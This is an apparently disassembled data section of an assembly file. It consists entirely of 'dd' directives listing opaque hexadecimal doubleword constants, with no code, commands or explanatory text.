		dd 2D2C4B53h, 4067FCA1h, 3845F600h, 7F6DE696h, 44F96ADFh
		dd 0F80FD493h, 235501C6h, 61BDB848h, 79D983Fh, 932EEEF3h
		dd 5AEF024Ah, 77CFFF77h, 14AEDF6h, 4D2FB66Fh, 46FC98BAh
		dd 92EC1E8Bh, 0EFE263DEh, 4DEE2FB3h, 66D2A9EEh,	0C7309CACh
		dd 0F4DCDDF7h, 76A3608Ah, 0ACD9621Eh, 0DB7AEE52h, 5FE03E0h
		dd 0E1DC4F59h, 0F8829DAEh, 0B13A24E2h, 1D85479Bh, 0B463391Fh
		dd 0E5BD4C2Fh, 2BDBB2BDh, 6A28BF1Ch, 8DDDC0CFh,	0A600DCC0h
		dd 75796972h, 0C45BC49Fh, 7C4C5AA2h, 4D501DCAh,	0BAE410Ch
		dd 16001D4Ah, 55C3E5D7h, 931D46D2h, 509B7496h, 5A7F741Ch
		dd 0A45C12D8h, 61A7190Fh, 845D98ECh, 64CBE912h,	1138F4A3h
		dd 9D3B8B0Ch, 0FB170224h, 0EA9C5211h, 0BAB23B2h, 8402ACDAh
		dd 31DFC780h, 8BBFFFB1h, 8A688FFBh, 944484E6h, 697AAB9Ah
		dd 32D257h, 299C660Bh, 215F3E76h, 0F49B4DC3h, 0CA53192Dh
		dd 0DE1050B4h, 0EFF90B3Eh, 91DD5B14h, 59D1071Eh, 49929B80h
		dd 43318A84h, 0D6F32A5Ah, 99DEFA08h, 7D59C01Fh,	0D59B6AD8h
		dd 265FB4F9h, 36CF09C6h, 1ADF55B3h, 8D442F80h, 0C1129246h
		dd 4336FE89h, 7BDCD0E5h, 0F46902FAh, 1496FF40h,	97426312h
		dd 5B789E1Eh, 0B939E4F4h, 0ED6D907Eh, 0EC36DEBDh, 0E21C34D8h
		dd 55B90C2h, 892F5312h,	7C87D90Eh, 0F6219826h, 9E3AD0Ah
		dd 0A7CE1E1Dh, 722B75D5h, 0CC086346h, 0F236FF44h, 27C3CD11h
		dd 58A5F44Ch, 63684506h, 0BF20B341h, 4BD75C61h,	0C4061CF0h
		dd 21ADACE7h, 511153FBh, 0D9E83857h, 30DEF985h,	4A2B88A6h
		dd 15521CF8h, 4B5DC2D9h, 705B884Bh, 2320181Eh, 17BADD11h
		dd 5B65E6E7h, 50D5CE0Ah, 0CE1DDC96h, 7B4A5DBFh,	28292C21h
		dd 0CDBD2D02h, 0F9EC35AEh, 1FB16E66h, 6362A801h, 4D68442Ah
		dd 645DC896h, 0A75891FBh, 0E042D669h, 0DCE00C0Eh, 0B241AE99h
		dd 0E621EA7Fh, 0BB22F208h, 884BB7F0h, 0F5B9A484h, 0A4B7F8EEh
		dd 96951F9Bh, 0DCAFAEE5h, 50A4B7Fh, 0CA10B14h, 80E0BC24h
		dd 0D9B579C9h, 16A0FB6Eh, 47ECF60Bh, 486D8A4Dh,	195D8A7Bh
		dd 9DBFFED4h, 9EEA588Bh, 8E14D830h, 74BF8DA2h, 86F5FC12h
		dd 0F5A1149Dh, 3F5AC528h, 7415463Ch, 0EAA15218h, 0A23807D3h
		dd 7927EC29h, 99AAC804h, 4C51C124h, 0D41100FDh,	0DE1DC296h
		dd 0F064C6C1h, 0B354C7C9h, 4DD0C2C0h, 0B1391D94h, 58AECB67h
		dd 0BF9AAE9Bh, 862525C5h, 0C2A814E7h, 0E2B80B1Eh, 2A5A129Bh
		dd 1B595A63h, 0EEE73D9Dh, 0A3A90480h, 0D431CF21h, 7CAB56BAh
		dd 0F680D081h, 7CD3AED5h, 0F2A9D53Bh, 9A533308h, 90D5A0DDh
		dd 0C388F15Eh, 4C296C95h, 0E5A6494h, 0C4FCE83Eh, 0FEDCEBC9h
		dd 0FFDA82FBh, 44DE879Ch, 5A92B8ADh, 22073FC9h,	5DD97BD1h
		dd 295A683Dh, 79488A35h, 591ABF0Ah, 0CD0EB53h, 0AC2AE14Fh
		dd 0F5E257DDh, 7162A075h, 82860DACh, 8B51F0A3h,	6A0D2AEDh
		dd 84A05802h, 0E2305EB6h, 0F5DEDB99h, 0BFE21FC0h, 0FA21D3BDh
		dd 0F7111AD1h, 0F73D5E19h, 0BDD008DCh, 4A0DDCD9h, 80A7EAB5h
		dd 53F908E4h, 8C4519C8h, 0FA651D6Dh, 7FF7C475h,	921C502Bh
		dd 62720536h, 0E9BB66E2h, 0D39950E4h, 2E2DF80Ch, 43B0B66Ah
		dd 43EB9057h, 9ADD521Ah, 65FF431Dh, 0CDE2EFDAh,	0C3929F4Ah
		dd 0D23BED9Bh, 5A44CC8h, 40D3D92Ch, 30FD827Fh, 5B56B9C9h
		dd 0AAE0CBD9h, 0E3EF87A8h, 0E5673C40h, 0F7A1C75h, 0E1737E49h
		dd 56E8AB2Bh, 3B93DDDFh, 0A70BDB69h, 77EA8EBFh,	14758228h
		dd 5872EE06h, 62C943FBh, 30E1F9EAh, 91A2B8B6h, 251D77AAh
		dd 28F3AAD5h, 0AF0C5AF9h, 0D126AD13h, 30F3F86Ch, 86E1AED1h
		dd 2E30C71Bh, 1C7EB7C6h, 6CAA0629h, 0BEA5F5FFh,	80CD7E52h
		dd 98DD6FDCh, 0A04E650Ch, 5D85A3A3h, 40FCB4F4h,	640D459Ah
		dd 4883BDDAh, 0BAAE9E97h, 0E211B0DFh, 0E03C09EFh, 0E9E1E9D7h
		dd 8FFF8AD4h, 0AE3D56DDh, 0F199C279h, 0D05EDB7Fh, 0A60450BFh
		dd 6ABA1202h, 0F5E188DEh, 76D496C1h, 0C0C72206h, 0AA6CBA69h
		dd 39DFAEB9h, 83AFF431h, 8DF0C8Eh, 79663780h, 301E142Dh
		dd 85ACD92Fh, 0B319AAEBh, 1D0AC43Dh, 92AE0E06h,	4FE0A997h
		dd 86047BD4h, 0B17C663Ch, 0F9FB4109h, 0C6B47A9Ah, 66D2D32h
		dd 489F0A1Dh, 71D59DF8h, 0FED460A8h, 513D897Dh,	8F7D0069h
		dd 0E929CEE4h, 901E920Ah, 660E5DC0h, 8E5CFEEBh,	0C859BCF9h
		dd 0F9E95B35h, 298B1FFDh, 8A89B4EEh, 4245ED9Bh,	0A1D9CF8Dh
		dd 99E6EDF8h, 0F450A045h, 3147991Ch, 7B5E9354h,	8658449Dh
		dd 674C0480h, 9BECF96Fh, 0C9B9C7DAh, 787AEBCh, 0C44BBB01h
		dd 0B7699EDEh, 23FCA011h, 584F5083h, 9BE3662Ch,	48BAA8A0h
		dd 0BBDD4F35h, 0D2B0F8A3h, 0DF228CE0h, 5E671FAEh, 763110E9h
		dd 0CE2A8F53h, 85FC1404h, 831A317Dh, 58AEDB0Bh,	0E420EEF0h
		dd 9536DB4Ah, 8FFDAA33h, 0C5AAE58Fh, 0B87B04D0h, 87AC3485h
		dd 0F9CDD5BDh, 3C4EAA35h, 5D76C2D7h, 972EDE5Fh,	0CF1A8AF9h
		dd 3663F9F8h, 0F553EDA4h, 3DEB668Ch, 8C7AA140h,	7D6BC835h
		dd 0A94EB30Ah, 12689B6Ah, 0E55AE8BFh, 5A3CDE4Fh, 5A718BCEh
		dd 552BA16Ah, 2D2F1222h, 0A60605D2h, 5A25D7DCh,	0B5BA814Ah
		dd 84CB4A13h, 0BD2169FFh, 8467E6BDh, 0CDCDF9ACh, 0F123FBDAh
		dd 0EE5B174Ah, 8A5D8B7Dh, 5FCF3Ch, 78207215h, 0F591B613h
		dd 8A6A6601h, 61AD8A2h,	66610CAFh, 6B9FE745h, 0A5568B60h
		dd 40736CFAh, 22039FB1h, 0A94FAC99h, 41B05609h,	8E2B0A86h
		dd 95CD0FB4h, 128F2CC6h, 0F7352039h, 0BF2A391Eh, 0D6E647BFh
		dd 9B0BDF89h, 0AC7A1D01h, 14CBC1F9h, 6FE71FFAh,	7602A9E5h
		dd 8BC75E26h, 1F35391Fh, 27EDD8BAh, 0EF50D811h,	0FC92E5F9h
		dd 0CF0D3855h, 1F5680DCh, 69BE5109h, 0ED01090Eh, 998BF315h
		dd 0D9FC1C5Eh, 2DAACC03h, 1A50D2AAh, 0DF97D1ACh, 0F2E685E2h
		dd 5806886Fh, 0DB745675h, 0ECA47A89h, 0F51F7FDDh, 2E351F26h
		dd 0FB5AB574h, 0FFA0BD54h, 1F73D59h, 3745C57Dh,	0D22F7A4h
		dd 95FB18D7h, 20F505E4h, 136E067Dh, 255C0054h, 499FC89h
		dd 0C7B9F0F7h, 148BA290h, 2E2160C0h, 236EA15Eh,	8F9A2204h
		dd 0DE3E653Ch, 6B1F151Bh, 4B491644h, 0B756C070h, 0D3E9EE7Fh
		dd 84B990ABh, 5763E56Dh, 8AB9B0B0h, 0B7BD2830h,	6B84F41Eh
		dd 0DB047166h, 0BDB56F52h, 0F800F8B3h, 0C10D4ABEh, 98274EE4h
		dd 0FB012D33h, 35BB5692h, 8D5CC541h, 80770701h,	44B2994Bh
		dd 8C794535h, 0AE599BB3h, 8577A3E1h, 3A307049h,	5881F2D2h
		dd 5121E1D6h, 8F0E08B9h, 4B894DDCh, 7F7A101Dh, 3FAE88B9h
		dd 4805B441h, 0A22F0370h, 26AB4304h, 7EAB5655h,	1CC54B6h
		dd 6CD26903h, 4B779EAEh, 0ABD28CA8h, 83DDB919h,	3B7A2CDCh
		dd 2FECCBEDh, 7802C099h, 0FD669FB1h, 0EBA67FDFh, 0F91F2BCCh
		dd 0A01CE12Ah, 0A1D06737h, 75CC5119h, 169D6F3Dh, 0D9F7C52Fh
		dd 5DF09650h, 1C9FB208h, 73E568Dh, 44EAE2E5h, 0CD812FADh
		dd 61E4DA39h, 0A18DE32h, 0C4D34E60h, 0F94AA19Eh, 1B4CFF89h
		dd 0AAA713D4h, 17D85FAEh, 1B1596A8h, 0D3077350h, 0CFF8A1EDh
		dd 3E7C71DEh, 4FD85A08h
		dd 0C4CDFB08h, 7456C329h, 0B822EC49h, 96EC9909h, 2D71F902h
		dd 0D136E73Fh, 0A64A42F3h, 3DACAB45h, 8AE4A32Ah, 2E2B6ACFh
		dd 85BD7A38h, 0D7F821EAh, 8C9BBC59h, 98729525h,	0DA2843BBh
		dd 8D9CB6D9h, 3E8C7D1Fh, 0E61C9817h, 3037F6Fh, 0E4308FC0h
		dd 5DF5E0F1h, 5DC069BDh, 0EEBA0EA8h, 60E57B93h,	9A004DB8h
		dd 2104F4C0h, 300839E7h, 32877CB7h, 0A3B682E6h,	5C54C35h
		dd 7E6C3698h, 0C0D468AFh, 846A72E2h, 0A9C66AEFh, 0F613091Ah
		dd 10DC6BDAh, 8221CE9Bh, 0BBE1D5A5h, 7114D993h,	0BE9CBC34h
		dd 766DA14Eh, 0E0CCFE7Dh, 81641876h, 0F8B8689h,	659C4941h
		dd 89BC4B15h, 0ECECD803h, 78543818h, 0AF7E327Dh, 0B9633FCDh
		dd 8B929913h, 0B415A679h, 0EB34A0FAh, 0BA4141A0h, 0E62A49D1h
		dd 0AFC82149h, 971C1C73h, 4A78B290h, 578F2596h,	0A33EBCDAh
		dd 0DBE175D1h, 0DD9B8E9Ah, 0CA282ECDh, 67CFDCF8h, 8A30F855h
		dd 7E1C6AD4h, 7E6D5E87h, 0CE36D9F8h, 0EA1DA48Eh, 1F4ADD45h
		dd 0CECD08Bh, 4B170B98h, 0F21F86E9h, 0FD396781h, 1D34EAF6h
		dd 333765CCh, 22E1EEB2h, 99F53167h, 0F727F128h,	0B2C7FB66h
		dd 128D05C8h, 0F07C1650h, 4B31A814h, 0E2F461C6h, 5E85E8B3h
		dd 0E73930A4h, 0ADC648ACh, 45DC653Ah, 8BB9988Fh, 0CE344330h
		dd 7FFEA7A7h, 96DB69C1h, 8E89D5CBh, 9713A555h, 4B77A144h
		dd 0FE2EDDCDh, 0ABEF2875h, 0EFC4DA90h, 5AE2862Bh, 0BB9C18D4h
		dd 62AF6A9Dh, 0CE5D82ACh, 90CC972h, 2E5C1D8Ah, 9018DAB4h
		dd 736F46AEh, 0E0FEA539h, 0E8ED5C26h, 0C3E615E6h, 845D2C60h
		dd 49609375h, 31A645DDh, 0CBC2DB4Dh, 5B5EB910h,	84BDE800h
		dd 0B73249CAh, 89E74F15h, 0C287AB29h, 0B4C1B38Eh, 65B5A9DFh
		dd 662F9E1h, 0F0C2CBF8h, 5A2D600Eh, 4A93EF5Ah, 4A4D1828h
		dd 0F9E30FE5h, 3E48D654h, 2E5D0ACAh, 0C8DAA627h, 26604BC5h
		dd 9819CF6Fh, 141B222Eh, 0C928DDD7h, 0ABF919DBh, 79ED5F9Dh
		dd 489EFE92h, 4951E0DBh, 7384D866h, 8AC9D37Ah, 9B1F0949h
		dd 0C9B7BC1Dh, 7DED9415h, 852AD4D3h, 63C38575h,	799F5B60h
		dd 4830AC0Fh, 9502FB8h,	6BEDC929h, 0A82F8C91h, 0C6227616h
		dd 4380A992h, 2E26D8CDh, 30EA4625h, 0C62621B3h,	0B4B6D932h
		dd 0F01C266Fh, 0E2E8D8DFh, 0B9E9B4D4h, 0CE596CB4h, 5FE3A741h
		dd 3B2DD446h, 0CE10D9CCh, 0A987098Bh, 9DC33C16h, 94F704E1h
		dd 0E37C4970h, 0CDEEF016h, 0C861A7E9h, 64909615h, 3E475A8Ch
		dd 0F85A83EAh, 94AE88C8h, 26358792h, 8B7157E3h,	0D70D20A9h
		dd 89944D15h, 0C06D73B6h, 955EA3EFh, 0D208DADEh, 0DFFB66C8h
		dd 0B7679D96h, 1D3EDB98h, 8DBA8EAh, 356947D0h, 4E3EC289h
		dd 295C2503h, 0DD3C0641h, 8B843891h, 0E57BB2C9h, 8BECA530h
		dd 4CB09C1Dh, 0E1761782h, 43A9E053h, 0E2CC759h,	0EB082346h
		dd 884AED6Eh, 0E8BB7547h, 0AC28E3D5h, 0FA7AF01Dh, 73E04BCDh
		dd 6BC744F0h, 48A0CDD3h, 8AE217DDh, 3BCF54F6h, 80BF2F3Ch
		dd 0FDD623C3h, 971F353Ah, 0CADAAC95h, 5CF66CDFh, 57211D6Fh
		dd 85125916h, 0B0DC7BA7h, 0D53CEF54h, 2BF8A3C9h, 7EA39C8Fh
		dd 7DA480C4h, 0B43A3895h, 9BE5A9CCh, 8659104Fh,	0EF6B505Ah
		dd 0FF1F64CDh, 0EA3E7435h, 3B14791Dh, 0E8DBC8CAh, 4D991609h
		dd 0DDA1DBA3h, 0B01E6FFBh, 0D51E6029h, 0C8C0A8E9h, 46E5701Dh
		dd 0F9133614h, 9EF76CC5h, 0CF7E8395h, 9414872Fh, 64092CA9h
		dd 470A7D2Eh, 9C2507B8h, 0E61B9D0Ah, 0E5B98655h, 90E6ECCFh
		dd 8F120995h, 8AB962EDh, 0E5130A6Fh, 49B0191Dh,	3CBB312Ch
		dd 0B22E715h, 0B52F01C9h, 0CC48D4CFh, 8ADDFA89h, 763032FEh
		dd 4A33B7C0h, 8D06B888h, 0BB554D76h, 0C458F009h, 917ACBE7h
		dd 79ECE20Bh, 0B17AF7BCh, 0C2186694h, 0AF3F1367h, 0E217738Ah
		dd 44EB4D14h, 0C279C534h, 79EBA676h, 7EDBF03Dh,	2A3EAA54h
		dd 8ED6753h, 4D52F893h,	0C06C8CFh, 64C164C0h, 1A1F77BCh
		dd 0AA06D9A8h, 8F0EF916h, 5CEE98D1h, 98DEE6DFh,	4A26D4CCh
		dd 5E10A82Eh, 0DFA1D4F9h, 9118F24Fh, 0D651F99h,	0FF4DDB41h
		dd 0BFCFEB16h, 511FEFF6h, 914D3917h, 1E5A5B5Bh,	410127AFh
		dd 1338DAFBh, 0AD58E1E9h, 0C728FC10h, 18427335h, 0B78C2767h
		dd 2E24B0EFh, 195D083h,	0D7DB7A4Ch, 1711A2A8h, 8DB0AB3Ah
		dd 79AD2BC9h, 143890D9h, 6B74D5D4h, 8011E00Eh, 6B22D1C0h
		dd 463572F5h, 43DC7916h, 0C40E7224h, 9AD4B3C0h,	11FAE28Fh
		dd 0B7E444FEh, 921FDD61h, 0F02C7825h, 447E13F3h, 3AD1AD43h
		dd 969AB62Ch, 0AF04FA86h, 0C4E6BE8Bh, 1C12F81Fh, 8FB83FCAh
		dd 1E698890h, 5985F486h, 0ACE35D8Dh, 49CAB854h,	90833874h
		dd 64BF4D72h, 0F65AD012h, 3A755B0h, 4C7B73C7h, 70DE71ACh
		dd 0A9672496h, 1713C363h, 0D7D2E01h, 2E209BA5h,	8A32C4F4h
		dd 0DE53348Ch, 0A9DF069Bh, 0B33F5726h, 2E2FE741h, 9309D20Bh
		dd 0DD2DEDBDh, 2EC7D130h, 0B7C0BF2Bh, 99DC6FC9h, 0FE3F37F6h
		dd 4FA4DB88h, 7225A51Ch, 0E63CEFCFh, 0F46CADDDh, 0C95662Bh
		dd 0CE9A9F4h, 0E6123694h, 19172F0Ah, 0F08FB7Eh,	27BB892Ch
		dd 596D5821h, 3922ADDAh, 0F8A1B05Fh, 954E4BD0h,	7C45779Ch
		dd 9E923E92h, 21D1D03Ah, 0F30E829Dh, 0A5D0F273h, 6E823918h
		dd 0FC8360BAh, 4625E096h, 4AE21127h, 5FAD04Ch, 295351FEh
		dd 0C174B1FFh, 2F565DC9h, 5DD24A7Dh, 0FE1AD616h, 37CC27A3h
		dd 651D298Eh, 32F42332h, 0A72E8F9Dh, 0BAB06B05h, 0C6259CD8h
		dd 0F21EA9DBh, 0C8CB16DCh, 0D2EB7427h, 48ADAD74h, 0E5EDD6F7h
		dd 330E0116h, 0DB166DB5h, 0AE078C0Fh, 3F1E8D39h, 0A83CCEFCh
		dd 0DDAA5E2Fh, 0A2C69315h, 2AEFA29h, 8148ACA0h,	0B5DED1Fh
		dd 51B1F295h, 561B34D2h, 0C4D41FC5h, 0C794E712h, 0BD741CF7h
		dd 0C62A0615h, 51EAF4ACh, 0DDA7EB31h, 4B015997h, 59AEA46Dh
		dd 8FECEA36h, 585807ABh, 48A88FABh, 942D061Bh, 97AAAF9h
		dd 48A7EE89h, 0F6F413A9h, 0FA68AC1Bh, 832AAA22h, 90C38C25h
		dd 47BDA723h, 0F9FA9CF2h, 5556A5C3h, 521D095h, 0E63D99E5h
		dd 56AC74E0h, 605C6D8h,	3853CCB4h, 0FEF48EEh, 76B41275h
		dd 6B0F48E4h, 0B23BF211h, 0F25EDCE2h, 88441268h, 58A2F8DAh
		dd 0D1FA1A1Fh, 994627C9h, 9BA96504h, 44DC7B45h,	0C37D5FCh
		dd 2D6BF9B1h, 0C02C7BFAh, 0AE341BE4h, 0AF058D79h, 801C849Ch
		dd 60A63707h, 565AB167h, 2E52AF23h, 592EDA94h, 4E0FFCDAh
		dd 0EB4B421Eh, 0BFF17B2Eh, 9CD9CEF7h, 0B5541883h, 0F361B25h
		dd 23A1FCCBh, 0C8014E43h, 0CE3A1D31h, 0F60AE139h, 8D416BCDh
		dd 56E79941h, 4E3526ECh, 0CABD2799h, 842EAA96h,	0CDE176C9h
		dd 76C9FC8Ah, 0E5D91831h, 81019762h, 2382892Bh,	0CD469D7Dh
		dd 0A5A9A99Ah, 50F92C2Dh, 5EA5182Ch, 0EFE099C9h, 0C21D0CA7h
		dd 2F1F7394h, 0CE50F3C5h, 0D9B97F4Eh, 42359C63h, 8E121427h
		dd 752EEA54h, 14EB412Fh, 2BF8D0FCh, 9543B2DBh, 56D2E4BEh
		dd 593BC3CAh, 76BF3187h, 28C4AB19h, 9655B989h, 0F606714Ch
		dd 0CD06E59Bh, 0B428493Dh, 59759825h, 35C09C9Fh, 0B1146CE2h
		dd 0D02C46EAh, 0BDAAAD9h, 710EAE49h, 0DFD0A3ECh, 0BADCC469h
		dd 0BBC238C5h, 2C945CBAh, 4C353074h, 1CED6E13h,	93F3E68Dh
		dd 0C6A24A57h, 8389CB99h, 8045A096h, 0C08D92CDh, 0F5C23C87h
		dd 0DE99CE30h, 1B22A38Ah, 0C75BE8CBh, 5991D619h, 0CC37C544h
		dd 0DF83CD90h, 420CF821h, 92E6B496h, 0C3CC281Eh, 0E8AD5F34h
		dd 0D7175C83h, 3717A709h
		dd 533B9D80h, 65A28A53h, 0B158872Ah, 0C62C64E8h, 0A55EC46Dh
		dd 0B655C616h, 275FA62Eh, 3660299Eh, 82C6794h, 87D97AC8h
		dd 0C1EC1E3Fh, 3F06220Eh, 0FDD9D93Ah, 8423F2C5h, 0D350FF8Ah
		dd 4DD3D0Ch, 0C7A7ED4Bh, 9C4953A0h, 0FA24EAE9h,	4A253D4Eh
		dd 0CF7CFF2Bh, 0C422E856h, 0F980D83Bh, 1D0D1BF0h, 0AB161D3Ch
		dd 0C55EFE0Ch, 0A9689D2Eh, 0D3B2E0B9h, 754C69D3h, 0F7AAF8Eh
		dd 0A7FB73ACh, 73B99D2Fh, 5A5AA717h, 0C595E720h, 0E26F4089h
		dd 5C01D05h, 0F1D8593Ah, 0E9D4D5C5h, 49D6F874h,	635F038Eh
		dd 82A67095h, 64624548h, 37BFB36Fh, 0D4B09917h,	8DC88E58h
		dd 72F5C7D5h, 7DFD01D6h, 16B62C06h, 0FAB9D223h,	0E3FBE0EBh
		dd 0A7A0B237h, 0EAD60411h, 0ADBF3449h, 6988A8D0h, 0F9A07377h
		dd 2C30CCDBh, 0C1418087h, 0F20DE70Ch, 336D1718h, 5F30C198h
		dd 0E5E4E049h, 0FB2E92A0h, 0CA110E44h, 415C8C0Fh, 0C947B65Ch
		dd 0C1BAB464h, 6FAA6D2Ch, 5B129D28h, 49A96D1Dh,	550801EDh
		dd 0E13A9DCEh, 607EC495h, 0F1AFACCCh, 5B505215h, 0BBEFDED8h
		dd 2E3AD78Fh, 41D3712Fh, 9A9AF1EBh, 99E4AE82h, 840A972Ah
		dd 0DE013C97h, 0E4124F05h, 8DD0DF3Fh, 899B7A76h, 8B60AF42h
		dd 5AE9AF1Dh, 723686F1h, 204EC1D5h, 9EC259FCh, 8D506D27h
		dd 0F25A7642h, 695E561Fh, 2E3BB7Ah, 3BF2EBF8h, 8F1ABAECh
		dd 4F23BF5Ch, 0D66471A2h, 2AFE9B4Fh, 0BE22BCCFh, 0CCD98615h
		dd 45ECB34h, 0D943AE8Bh, 1C7ADFDEh, 150571ABh, 493D14Eh
		dd 4D22E128h, 0EE6FC0CFh, 57254F2Fh, 0BF2F6369h, 0D4DF027Ah
		dd 15357019h, 28141A07h, 85E89EBh, 103AA994h, 7CA62002h
		dd 4128127Ah, 565B6F09h, 0A463EC64h, 0CA70CEFFh, 24DEC53Fh
		dd 6178514Eh, 85DEAC9Dh, 642FA039h, 0E53E0C1h, 2DB03EDDh
		dd 7857E755h, 870C43C1h, 6422C314h, 4A5EE5D9h, 0A69842CDh
		dd 0DC506F33h, 251185DAh, 0DC661A4Ch, 59CBC2CDh, 98ED75F0h
		dd 0F8AB1547h, 913DB183h, 0BBEF1CF1h, 0D9FADBA9h, 7B876CF9h
		dd 0D359A95Ah, 0A3EB145Dh, 8345413Eh, 39A4CC87h, 878A50D8h
		dd 5650B1C9h, 0C6F4CE04h, 0FB863C99h, 23EE5DCDh, 59F2AF5Ch
		dd 0BFF2871Bh, 9BF8F488h, 8C7AC7DDh, 4321F93Ch,	9ACC5229h
		dd 1F43C429h, 0EC9F17CDh, 0C5B4B003h, 8A61982Dh, 0C1CD66DCh
		dd 84DEAAD9h, 5CAAF51Fh, 743046B9h, 0BD2A9272h,	0BBD2BB87h
		dd 0E6BAD35Dh, 0CBBD2C05h, 0DCD11E00h, 74CCD289h, 0A019F787h
		dd 0AE344C00h, 0B7AE834Dh, 0ACDD1498h, 64278F5Ah, 0DAED187Bh
		dd 9622E0BAh, 71F55975h, 0F3D39F01h, 0C50988F5h, 42E1BE79h
		dd 8DD2DAF8h, 6906DBDEh, 0B475C8FCh, 25AEF5CFh,	0BE316B47h
		dd 0EF214ECDh, 63969BDAh, 0D5964729h, 0D6DFC057h, 0C8FB8D09h
		dd 0EFB11E17h, 1F89C96h, 6387251Bh, 0FC3A55F0h,	8883F2BDh
		dd 0E4043421h, 0B947A61Ch, 31EFE352h, 930F3FD2h, 0F1DD63B0h
		dd 0AF7F98DEh, 8F9ADEB8h, 85B64119h, 91BE894h, 4B5E0921h
		dd 0E47E828Ch, 0C1203951h, 43CB9A45h, 78245518h, 70D9680Eh
		dd 0C9124840h, 65B1A376h, 1A25F709h, 81A1692Ah,	0F8A7CDADh
		dd 760678EFh, 0BA289CB1h, 0B4E7FFE2h, 86EF7003h, 0D41DCCA9h
		dd 86CD390Ch, 541401C7h, 56065437h, 0C62EDC4Bh,	0C410AD2Dh
		dd 2198D80Eh, 31DFE18Eh, 5F12BBF4h, 2AB2F77Eh, 383D85Ah
		dd 45A2B05h, 0B93C5807h, 0BAECA013h, 0C0DA8D75h, 894E6B1Dh
		dd 0DD32AEA5h, 0E1018719h, 7E138DFh, 0D2AA9398h, 0C8196623h
		dd 99851925h, 605D6D00h, 0B1F36594h, 0BCD9E309h, 0EA1F5E21h
		dd 6AC7EA4Fh, 5932AD65h, 3DF2CBF3h, 185C33EFh, 8A3C3AD0h
		dd 0A0EFF99Dh, 8AA773CDh, 3157DA2Dh, 0C561A3AFh, 9DFAA21h
		dd 7BDEB8C9h, 0D0C9AE18h, 0FD64D239h, 28196114h, 0CCFF990Bh
		dd 43AB93C9h, 2CCD905Ch, 720D5108h, 0B8DAD46Dh,	210F98DBh
		dd 0C87E52DFh, 0AFEA5BC6h, 0ADD7F4B2h, 163CA708h, 4923F8F4h
		dd 8D8E0DD2h, 9313AD3Dh, 0E8198C4Bh, 0F53E8BD7h, 0A6101EDDh
		dd 2DACC7F8h, 9B07B4A3h, 17AFCD1Dh, 0B3AE1B90h,	8D3FCECCh
		dd 8979B49Ch, 9BBB12AAh, 3B4522F1h, 0BAAB9B9Ch,	0D231B678h
		dd 0AE36E38Bh, 0F9AD96D9h, 765F150Ah, 0EF7AF916h, 2D2715DEh
		dd 0CBE6FF0Fh, 89E6640Dh, 433AA6F7h, 4565DF4Ah,	21AFCC33h
		dd 548EB267h, 0FCF24FDFh, 0FC1EEBD5h, 92214FE5h, 63B04BF8h
		dd 5D8D7A56h, 0B20B27E5h, 0F50D01ABh, 98D1B085h, 0F5E6C7A3h
		dd 0C01CAF5h, 9F315D11h, 0C402251Ah, 0AC20EE2Ah, 7AB2AB0Bh
		dd 4DAADEF6h, 0F2600D0h, 83253BB0h, 7A310E15h, 3B82797Ah
		dd 125285E7h, 0E1F95380h, 30388BE3h, 0D1F3CECEh, 0D672A23h
		dd 4DAAA61Ch, 8E79BF17h, 497FFF71h, 55FAA0CDh, 453CF821h
		dd 0EF303F28h, 0D93D69C4h, 70FB422Dh, 7E90FFCFh, 221DB8B5h
		dd 2CA31681h, 198678BAh, 0C4341C91h, 1EAA6575h,	85CCB826h
		dd 79A66C26h, 0E5AB9D08h, 0F1FAFFBFh, 9802CE90h, 42596D34h
		dd 339B4B45h, 32E2E13Fh, 0C10C6FC0h, 0C7E7FFD2h, 2CACEE39h
		dd 0FF18BCECh, 7CEA3D06h, 0DE14F73Ch, 0F11228E6h, 0F61027DCh
		dd 0DCA5B7Ah, 0ADF562B6h, 0A74B8C14h, 28EFBC9Ch, 973A7CF5h
		dd 0E23117CFh, 0D82F8C3Ch, 7DF26AA3h, 0BF7398D7h, 0C5737298h
		dd 6E308B78h, 440B7CF5h, 0D80A64ACh, 47617741h,	1EE08BCCh
		dd 899D9871h, 0EF2DC731h, 0F468BB9Bh, 41AB07D2h, 0DDB9A539h
		dd 872AA322h, 150CF8DEh, 1D06DDC5h, 99342493h, 0F3B1FD39h
		dd 9DC4FC91h, 0E39FD10Bh, 8D65D5C1h, 0C0327433h, 0F332BAC4h
		dd 0C8662D14h, 2302C510h, 0C66CBB0Bh, 8A64071Eh, 0C045C837h
		dd 0E586D6E2h, 133D38B7h, 43056F6Dh, 8CFFB4B9h,	2E91A44Fh
		dd 0E48A97DAh, 0E17F0C9h, 9A022E31h, 37104EFAh,	0C5348144h
		dd 0FC31E80h, 9E81F7EFh, 0EDEDA113h, 0AA7A1BCCh, 90276899h
		dd 0A53C7041h, 289DA7F8h, 8133EB5h, 69EC24C9h, 7BAD3D48h
		dd 74FA345Bh, 0A74C85A3h, 86581180h, 57A5C749h,	8D89DD32h
		dd 73A5525Eh, 684FEE41h, 4B63F1A9h, 7A4A38DFh, 7B0DC398h
		dd 7F9EFAB7h, 5616CDC8h, 9149733h, 0E80D4319h, 0F3F14902h
		dd 38D65075h, 0C62C2E48h, 4CE2E868h, 14BE38D0h,	5755D632h
		dd 0CDD60D1Eh, 0FBCF5F9Bh, 49CF96E6h, 0BE1AD57h, 4293A0A9h
		dd 0CDBDC7D3h, 53B1DB3Ch, 2D469C3Dh, 420A6DAAh,	0ACA87055h
		dd 0AC8F5CDh, 9C67B463h, 9FC6A672h, 487A4F3Bh, 95EE7C12h
		dd 0C5EA4178h, 91D49DA3h, 0C9031025h, 5BF0E81h,	0FECED37h
		dd 9894D576h, 2DBB6FE5h, 0C191A445h, 0FA3A05C0h, 0B0270F63h
		dd 0E035B8BCh, 0B9CAEAFCh, 0FBA7499Fh, 20B46EC1h, 0C0E4F011h
		dd 4C631DC5h, 0E2603017h, 0E7CED62Ch, 171550A4h, 0B7D0C12Ah
		dd 375FD11Eh, 0C2165DBDh, 0FCD4B565h, 358BCD37h, 77601208h
		dd 265FBB46h, 8FF65941h, 38ABC3B1h, 254A1644h, 0CB72E400h
		dd 2DB95C90h, 0F046599Ah, 99312A9h, 0F06FA07Bh,	849C6CD7h
		dd 0A1DD2A76h, 75EC949Ch, 8302DA5Ch, 0F9682B0Eh, 0B807238Eh
		dd 0F5EE35C1h, 0FC699859h, 0A70EC71Fh, 8F62F35Eh, 0A2BD23B8h
		dd 4B2E5Dh, 604CCE1Bh, 3D2AF875h, 0CD6917DDh, 0C4986099h
		dd 5062E841h, 330FFC19h, 0FEA37D4Dh, 262BF540h,	0F127D48Dh
